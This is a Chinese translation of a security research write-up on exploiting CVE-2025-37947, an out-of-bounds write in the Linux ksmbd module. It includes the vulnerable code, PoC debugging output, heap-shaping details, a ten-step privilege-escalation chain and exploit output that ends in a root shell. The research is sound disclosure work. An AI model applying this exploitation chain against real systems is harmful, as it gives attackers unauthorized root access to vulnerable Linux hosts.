深入剖析CVE-2025-37947:Linux ksmbd模块内核漏洞利用详解

本文深入分析了Linux内核ksmbd模块中的一个高危漏洞CVE-2025-37947,详细介绍了从漏洞成因分析、PoC编写到完整本地权限提升漏洞利用的实现过程。

ksmbd - 利用CVE-2025-37947(3/3)

08 Oct 2025 - 发布者:Norbert Szetei

引言

这是我们关于ksmbd的最后一篇文章。关于之前的文章,请参见第一部分第二部分

考虑到我们报告的所有已发现漏洞和概念验证利用代码,我们必须选择一些合适的候选漏洞进行利用。具体来说,我们希望使用最近报告的内容,以避免降低我们工作环境的安全性。

我们首先尝试了几个释放后使用(UAF)漏洞,因为这类漏洞通常被认为几乎总是可以利用的,许多文章已经证明了这一点。然而,其中许多漏洞需要竞态条件和特定的时机,因此我们推迟了它们,转而选择具有更可靠或确定性利用路径的漏洞。

还有一些漏洞依赖于用户无法控制的因素,或者具有特殊行为。让我们先看看CVE-2025-22041,我们最初打算使用它。由于缺少锁,有可能两次调用ksmbd_free_user函数:

1
2
3
4
5
6
7
void ksmbd_free_user(struct ksmbd_user *user)
{
	ksmbd_ipc_logout_request(user->name, user->flags);
	kfree(user->name);
	kfree(user->passkey);
	kfree(user);
}

在这种双重释放场景中,攻击者需要用另一个对象替换user->name,以便第二次释放它。问题在于kmalloc缓存大小取决于用户名的长度。如果用户名长度略长于8个字符,它将放入kmalloc-16而不是kmalloc-8,这意味着需要根据用户名长度采用不同的利用技术。

因此我们决定研究一下CVE-2025-37947,它从一开始就显得很有前景。我们考虑通过将该漏洞与信息泄露结合来进行远程利用,但我们缺乏像写入泄露这样的原始功能,而且我们不知道在过去一年中是否有此类漏洞被报告过。即便如此,如前所述,我们将自己限制在我们发现的漏洞上。

仅凭这个漏洞似乎就提供了我们绕过常见缓解措施(例如KASLR、SMAP、SMEP以及几个Ubuntu内核加固选项,如HARDENED_USERCOPY)所需的能力。因此,由于额外的时间限制,我们最终只专注于本地权限提升。请注意,在撰写本文时,我们在仍易受攻击的最新内核(5.15.0-153-generic)上实现了针对Ubuntu 22.04.5 LTS的利用。

根本原因分析

该漏洞要求vfs objects配置选项中启用stream_xattr模块,并且可以由经过身份验证的用户触发。此外,必须在默认配置中添加一个可写共享,如下所示:

1
2
3
4
[share]
        path = /share
        vfs objects = streams_xattr
        writeable = yes

以下是易受攻击的代码,其中删除了一些不相关的行,这些行不影响漏洞的逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// https://elixir.bootlin.com/linux/v5.15/source/fs/ksmbd/vfs.c#L411

static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
				  size_t count)
{
    char *stream_buf = NULL, *wbuf;
    struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
    size_t size;
    ssize_t v_len;
    int err = 0;
    
    ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
        *pos, count);

    size = *pos + count;
    if (size > XATTR_SIZE_MAX) { // [1]
        size = XATTR_SIZE_MAX;
        count = (*pos + count) - XATTR_SIZE_MAX;
	}

    wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2]
    stream_buf = wbuf;

    memcpy(&stream_buf[*pos], buf, count); // [3]

    // .. 跳过部分代码

    if (err < 0)
        goto out;

    fp->filp->f_pos = *pos;
    err = 0;
out:
    kvfree(stream_buf);
    return err;
}

扩展属性值的大小XATTR_SIZE_MAX是65536,即16个页面(0x10000),假设常见的页面大小为0x1000字节。我们可以在[1]处看到,如果countposition超过此值,则size将被截断为0x10000,并在[2]处分配。

因此,我们可以将position设置为0x10000,count设置为0x8,而memcpy(stream_buf[0x10000], buf, 8)将在[3]处写入用户控制的数据,超出边界8个字节。请注意,我们可以调整position值来控制偏移量,例如使用值0x10010来写入偏移量16处。但是,我们复制的字节数(count)也会增加16,因此最终会复制24个字节,可能会损坏更多数据。这通常是不希望的,取决于我们能够实现的对齐方式。

概念验证

为了证明该漏洞是可触发的,我们编写了一个最小概念验证(PoC)。该PoC仅触发漏洞,不进行权限提升。此外,在将/proc/pagetypeinfo的权限更改为可由非特权用户读取后,它可以用于确认缓冲区分配顺序。PoC代码通过libsmb2库使用smbuser/smbpassword凭据进行身份验证,并使用与连接相同的套接字发送带有用户控制属性的vfs流数据。

具体来说,我们将file_offset设置为0x0000010018ULL,将length_wr设置为8,写入32个字节,填充0xaa0xbb模式以便于识别。

如果我们运行PoC,打印分配地址并在memcpy处中断,我们可以确认越界写入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(gdb) c
Continuing.
ksmbd_vfs_stream_write+310 allocated: ffff8881056b0000

Thread 2 hit Breakpoint 2, 0xffffffffc06f4b39 in memcpy (size=32, 
    q=0xffff8881031b68fc, p=0xffff8881056c0018)
    at /build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h:191
warning: 191	/build/linux-eMJpOS/linux-5.15.0/include/linux/fortify-string.h: No such file or directory
(gdb) x/2xg $rsi
0xffff8881031b68fc:	0xaaaaaaaaaaaaaaaa	0xbbbbbbbbbbbbbbbb

为kvzalloc进行堆整形

在Linux上,物理内存以页面(通常为4KB)为单位进行管理,页面分配器(伙伴分配器)将它们组织成称为阶数的2的幂块。阶数0是单个页面,阶数1是2个连续页面,阶数2是4个页面,依此类推。这允许内核高效地分配和合并连续的页面块。

有了这些知识,我们必须仔细看看如何通过kvzalloc精确分配内存。该函数只是kvmalloc的一个包装器,它返回一个归零的页面:

1
2
3
4
5
// https://elixir.bootlin.com/linux/v5.15/source/include/linux/mm.h#L811
static inline void *kvzalloc(size_t size, gfp_t flags)
{
    return kvmalloc(size, flags | __GFP_ZERO);
}

然后该函数调用kvmalloc_node,尝试使用kmalloc分配物理上连续的内存,如果失败,则回退到vmalloc以获得仅在虚拟上连续的内存。我们没有尝试制造内存压力来利用后一种分配机制,因此我们可以假设该函数的行为类似于kmalloc()

由于Ubuntu默认使用SLUB分配器进行kmalloc,它随后调用__kmalloc_node。由于KMALLOC_MAX_CACHE_SIZE的值为8192,它通过kmalloc_caches使用具有阶数-1页面的分配。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4424
void *__kmalloc_node(size_t size, gfp_t flags, int node)
{
	struct kmem_cache *s;
	void *ret;

	if (unlikely(size > KMALLOC_MAX_CACHE_SIZE)) {
		ret = kmalloc_large_node(size, flags, node);

		trace_kmalloc_node(_RET_IP_, ret,
				   size, PAGE_SIZE << get_order(size),
				   flags, node);

		return ret;
	}

	s = kmalloc_slab(size, flags);

	if (unlikely(ZERO_OR_NULL_PTR(s)))
		return s;

	ret = slab_alloc_node(s, flags, node, _RET_IP_, size);

	trace_kmalloc_node(_RET_IP_, ret, size, s->size, flags, node);

	ret = kasan_kmalloc(s, ret, size, flags);

	return ret;
}

对于任何更大的分配,Linux内核直接使用页面分配器获取页面:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// https://elixir.bootlin.com/linux/v5.15/source/mm/slub.c#L4407
#ifdef CONFIG_NUMA
static void *kmalloc_large_node(size_t size, gfp_t flags, int node)
{
	struct page *page;
	void *ptr = NULL;
	unsigned int order = get_order(size);

	flags |= __GFP_COMP;
	page = alloc_pages_node(node, flags, order);
	if (page) {
		ptr = page_address(page);
		mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
				      PAGE_SIZE << order);
	}

	return kmalloc_large_node_hook(ptr, size, flags);
}

因此,由于我们需要请求16个页面,我们正在处理伙伴分配器的页面整形,我们的目标是溢出跟随在阶数-4分配之后的内存。问题是我们可以放置什么在那里以及如何确保正确的位置。

一个关键的约束是memcpy()在分配后立即发生。这排除了分配后的喷洒。因此,我们必须事先在内存中创建一个16页的连续空闲空间,以便kvzalloc()stream_buf放置在该区域中。这样,越界写入就会命中一个受控且有用的目标对象。

内核内存中可以分配各种对象,但最常见的对象使用kmalloc缓存。因此我们研究了哪些可能是一个好的选择,其中阶数值表示用于存放这些对象的slab分配使用的页面阶数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ for i in /sys/kernel/slab/*/order; do \
    sudo cat $i | tr -d '\n'; echo " -> $i"; \
done | sort -rn | head 

3 -> /sys/kernel/slab/UDPv6/order
3 -> /sys/kernel/slab/UDPLITEv6/order
3 -> /sys/kernel/slab/TCPv6/order
3 -> /sys/kernel/slab/TCP/order
3 -> /sys/kernel/slab/task_struct/order
3 -> /sys/kernel/slab/sighand_cache/order
3 -> /sys/kernel/slab/sgpool-64/order
3 -> /sys/kernel/slab/sgpool-128/order
3 -> /sys/kernel/slab/request_queue/order
3 -> /sys/kernel/slab/net_namespace/order

我们看到页面分配器最多使用阶数-3的页面。基于此,我们的选择变成了kmalloc-cg-4k(输出中未显示),我们可以轻松地进行喷洒。它对于实现各种利用原始功能(如任意读取、写入,或者在某些情况下甚至UAF)非常通用。

在尝试了阶数-3页面分配并检查/proc/pagetypeinfo后,我们确认每个阶数每个区域有5个空闲列表。在我们的例子中,使用了Normal区域,而GFP_KERNEL偏好不可移动迁移类型,因此我们可以忽略其他类型:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ sudo cat /proc/pagetypeinfo 
Page block order: 9
Pages per block:  512

Free pages count per migrate type at order    0   1   2   3   4   5   6   7   8   9  10
Node  0, zone    DMA, type   Unmovable       0   0   0   0   0   0   0   0   0   0   0
Node  0, zone    DMA, type     Movable       0   0   0   0   0   0   0   0   0   1   3
Node  0, zone    DMA, type Reclaimable       0   0   0   0   0   0   0   0   0   0   0
Node  0, zone    DMA, type  HighAtomic       0   0   0   0   0   0   0   0   0   0   0
Node  0, zone    DMA, type    Isolate        0   0   0   0   0   0   0   0   0   0   0
Node  0, zone  DMA32, type   Unmovable       0   0   0   0   0   0   0   1   0   1   0
Node  0, zone  DMA32, type     Movable       2   2   1   1   0   3   3   3   2   3 730
Node  0, zone  DMA32, type Reclaimable       0   0   0   0   0   0   0   0   0   0   0
Node  0, zone  DMA32, type  HighAtomic       0   0   0   0   0   0   0   0   0   0   0
Node  0, zone  DMA32, type    Isolate        0   0   0   0   0   0   0   0   0   0   0
Node  0, zone Normal, type   Unmovable      69  30   7   9   3   1  30  63  37  28  36
Node  0, zone Normal, type     Movable      37   7   3   5   5   3   5   2   2   4 1022
Node  0, zone Normal, type Reclaimable       3   2   1   2   1   0   0   0   0   1   0
Node  0, zone Normal, type  HighAtomic       0   0   0   0   0   0   0   0   0   0   0
Node  0, zone Normal, type    Isolate        0   0   0   0   0   0   0   0   0   0   0

Number of blocks type    Unmovable   Movable Reclaimable HighAtomic Isolate 
Node 0, zone     DMA            1         7           0          0        0 
Node 0, zone   DMA32            2      1526           0          0        0 
Node 0, zone  Normal          182      2362          16          0        0

输出显示阶数-3有9个空闲元素,阶数-4有3个空闲元素。通过调用kvmalloc(0x10000, GFP_KERNEL | __GFP_ZERO),我们可以再次检查阶数-4元素的数量是否减少。我们可以比较分配前后的状态:

1
2
3
Free pages count per migrate type at order   0   1   2   3  4  5  6  7  8   9  10
Node   0, zone  Normal, type  Unmovable    843 592 178 14  6  7  4 47 45  26  32 
Node   0, zone  Normal, type  Unmovable    843 592 178 14  5  7  4 47 45  26  32

当分配器耗尽阶数-3和阶数-4块时,它开始拆分更高阶的块——比如阶数-5——以满足新的请求。这种拆分是递归的,一个阶数-5块变成两个阶数-4块,如果需要,其中一个会再次被拆分。

在我们的场景中,一旦我们耗尽所有阶数-3和阶数-4空闲列表条目,分配器就会拉取一个阶数-5块。一半被拆分以满足一个较低阶的分配——我们的目标阶数-3对象。另一半仍然是一个空闲的阶数-4块,稍后可以被kvzalloc用于stream_buf

尽管这种布局不能保证,但在重复几次之后,它给了我们相对较高的概率出现这样一种情况:stream_buf分配直接放置在阶数-3对象之后,允许我们通过越界写入损坏其内存。

通过分配1024条消息(msg_msg),消息大小为4096以适合kmalloc-cg-4k,我们获得了以下以stream_buf0xffff8881117b0000为中心的布局,其中红色条带标记目标页面,蓝色代表msg_msg对象:

当我们放大时,我们确认确实可以在一条消息之前放置stream_buf

请注意,通过接收消息并创建空洞,覆盖受害者对象的概率显著提高。然而,在少数情况下——在我们的结果中不到10%——利用会失败。

当我们覆盖不同的对象时,可能会发生这种情况,具体取决于ksmbd或外部进程的状态。不幸的是,这也有可能引起内核恐慌。

利用策略

在能够触发越界写入之后,本地权限提升变得几乎直接了当。我们尝试了几种方法,例如破坏分段msg_msg中的next指针,此处有详细描述。然而,使用这种方法没有简单的方法来获得KASLR泄漏,而且我们不想依赖侧信道攻击,如Retbleed。因此,我们不得不重新审视我们的策略。

来自近乎经典的CVE-2021-22555: Turning \x00\x00 into 10000$的利用是最好的选择。因为我们覆盖的是物理页面而不是Slab对象,所以我们不必处理由计费引入的跨缓存攻击,并且利用后期阶段只需要少量修改。

首先,我们通过bpf脚本确认分配的地址,以确保地址正确对齐。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
$ sudo ./bpf-tracer.sh
...
$ grep 4048 out-4096.txt  | egrep ".... total" -o | sort | uniq -c
    511 0000 total
    510 1000 total
    511 2000 total
    512 3000 total
    511 4000 total
    511 5000 total
    511 6000 total
    511 7000 total
    513 8000 total
    513 9000 total
    513 a000 total
    513 b000 total
    513 c000 total
    513 d000 total
    513 e000 total
    513 f000 total

我们选择通过\x05\x00覆盖两个较低有效字节来创建冲突,这有些随意。之后,我们只是重新实现了所有阶段,甚至能够为栈转移找到类似的ROP小工具。

我们强烈建议阅读原始文章以使所有步骤清晰明了,因为它提供了我们不想在此重复的缺失信息。

在此基础上,利用流程如下:

  1. 在内核中分配许多msg_msg对象。
  2. ksmbd中触发越界写入以分配stream_buf,并覆盖主消息的next指针,使得两个主消息指向同一个辅助消息。
  3. 通过标记每条消息及其队列索引,并使用msgrcv(MSG_COPY)扫描队列以查找不匹配的标记,来检测损坏的对。
  4. 释放真正的辅助消息(来自真正的队列)以创建释放后使用——伪造的队列仍然持有指向已释放缓冲区的陈旧指针。
  5. 通过UNIX套接字将用户空间对象喷洒到已释放的槽上,以便我们可以用受控数据回收已释放的内存,通过制作一个伪造的msg_msg
  6. 滥用m_ts泄露内核内存:制作伪造的msg_msg,使得copy_msg返回比预期更多的数据,并读取相邻的头部和指针以泄露内核堆地址,用于mlist.nextmlist.prev
  7. 借助sk_buff喷洒,使用正确的mlist.nextmlist.prev重建伪造的msg_msg,以便它可以正常解除链接和释放。
  8. 喷洒并回收该释放后使用,使用struct pipe_buffer对象,以便我们可以泄露anon_pipe_buf_ops并计算内核基地址以绕过KASLR。
  9. 通过第二次喷洒skbuff来创建伪造的pipe_buf_operations结构,其释放操作指针指向制作的小工具序列。
  10. 通过关闭管道触发释放回调——这启动了带有栈转移的ROP链。

最终利用

最终的利用代码可在此处获取,需要多次尝试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
...
[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[-] Error could not corrupt any primary message.
[ ] Attempt: 3

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: 1a00
[+] real_idx: 1a08

[+] STAGE 2: SMAP bypass
[*] Freeing real secondary message...
[*] Spraying fake secondary messages...
[*] Leaking adjacent secondary message...
[+] kheap_addr: ffff8f17c6e88000
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Leaking primary message...
[+] kheap_addr: ffff8f17d3bb5000

[+] STAGE 3: KASLR bypass
[*] Freeing fake secondary messages...
[*] Spraying fake secondary messages...
[*] Freeing sk_buff data buffer...
[*] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa3242700
[+] kbase_addr: ffffffffa2000000
[+] leaked kslide: 21000000

[+] STAGE 4: Kernel code execution
[*] Releasing pipe_buffer objects...
[*] Returned to userland
# id
uid=0(root) gid=0(root) groups=0(root)
# uname -a
Linux target22 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

请注意,可靠性仍然可以提高,因为我们没有尝试找到用于损坏的喷洒和释放对象数量的最佳值。我们通过实验得出了这些值,并获得了令人满意的结果。

结论

我们成功演示了在最新Ubuntu 22.04 LTS上利用ksmbd中的漏洞,使用默认配置并启用ksmbd服务。还开发了一个完整的本地权限提升利用。

ksmbd_vfs_stream_write()中的一个缺陷允许在pos超过XATTR_SIZE_MAX时进行越界写入,从而能够通过内核对象损坏相邻页面。本地利用可以可靠地提升权限。远程利用则更具挑战性:攻击者将受到ksmbd暴露的代码路径和对象的限制,而成功的远程攻击还需要信息泄露来击败KASLR并使堆整形可靠。

参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计